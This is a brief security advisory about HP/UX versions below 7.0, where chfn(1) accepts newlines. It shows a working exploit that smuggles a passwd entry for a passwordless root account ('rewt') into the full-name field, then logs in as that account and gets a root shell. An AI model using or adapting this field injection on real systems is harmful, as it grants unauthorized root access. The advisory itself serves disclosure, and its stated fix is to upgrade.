COMMAND

    chfn(1)

SYSTEMS AFFECTED

    HP/UX below 7.0

PROBLEM

    chfn(1) accepts  newlines. This  can be  used to  create arbitraty
    accounts on the system.

        % chfn -f looser^Mrewt::0:0::/:/bin/sh
        % rlogin localhost -l rewt
        Warning: .lastlogin not found
        #

SOLUTION

    Upgrade.